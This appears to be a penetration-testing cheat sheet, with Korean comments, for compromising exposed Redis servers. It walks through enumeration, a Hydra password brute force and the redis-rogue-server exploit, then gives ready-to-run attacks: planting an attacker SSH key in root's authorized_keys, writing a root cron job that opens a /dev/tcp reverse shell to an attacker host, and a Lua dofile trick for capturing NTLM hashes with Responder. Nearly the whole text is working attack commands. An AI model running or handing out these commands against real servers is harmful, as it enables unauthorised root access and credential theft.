```bash
redis-cli -h $IP -p 6379
info # 서버 정보, OS, Version, Memory, etc.
config get * # 설정 값 (dir, dbfilename 등 중요)
- protected-mode: no # 외부에서 접근 가능 (기본 보안 장치 해제)
- dir # 현재 RDB 덤프 파일 저장 디렉토리
- dbfilename # 저장되는 DB 파일 이름
- save # 파일 쓰기 가능 ?
keys * # 저장된 키 값 (세션, 패스워드 등 민감 데이터)
# 인증 여부
redis-cli -h $IP -a $password
# bruteforce
hydra -s 6379 -P rockyou.txt -vV $IP redis
set 1 "wook"
get 1
"wook"
```
# Redis-rogue-server
Redis(<=5.0.5)
```bash
https://github.com/n0b0dyCN/redis-rogue-server
./redis-rogue-server.py --rhost $IP --lhost <my_IP>
```
# Example 1 - SSH authorized_keys
```bash
# 공격자 SSH 키 생성
ssh-keygen -t rsa -b 2048 -f ./id_rsa
# Redis 연결해서 공격자 public key 저장
redis-cli -h $IP
set crack "\n<공격자 public key>\n"
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
# private key로 접속 시도
ssh -i ./id_rsa root@$IP
```
# Example 2 - Cron Job
```bash
config set dir /var/spool/cron
config set dbfilename root
set 1 "*/1 * * * * /bin/bash -i >& /dev/tcp/<attacker-IP>/1234 0>&1"
save
# 공격자 netcat 리스너 대기
nc -lvnp 1234
```
# Example 3
```bash
redis-cli -h <IP>
> info
> config get *
> eval "dofile('//<IP>/test')" 0
```
- `dofile()`은 Lua의 함수
- Redis는 Lua scripts를 서버에 업로드 하거나 스크립트 실행을 가능하게 함.
- 이를 악용해서 `Responder`로 NTLM 해시를 가로챌 수 있음.